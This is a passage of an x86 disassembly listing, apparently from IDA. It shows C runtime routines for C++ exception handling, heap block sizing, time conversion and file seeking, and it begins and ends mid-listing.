		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; sub_422111+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: sub_422111+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422111	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: sub_422111+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB9DC
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB9E0
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB9DC, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB9E0, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: .packed:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: .packed:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: .packed:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB9DC, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB9E0, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB9E8
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: .packed:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: .packed:00427924o
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: .packed:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43CF84
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: .packed:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: .packed:0042793Co
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: .packed:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DCFC8
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DCFC4
		call	dword_427058	; RtlSizeHeap


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43D44C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43D368
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43D36C, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43D370


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: sub_41D1EC+67p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DCD80
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCC80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB938, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_42711C	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		call	dword_42708C	; RtlGetLastWin32Error
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB93C, 0
		mov	dword_4DB938, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: sub_41D1EC+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DCC80[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB938, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCC80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


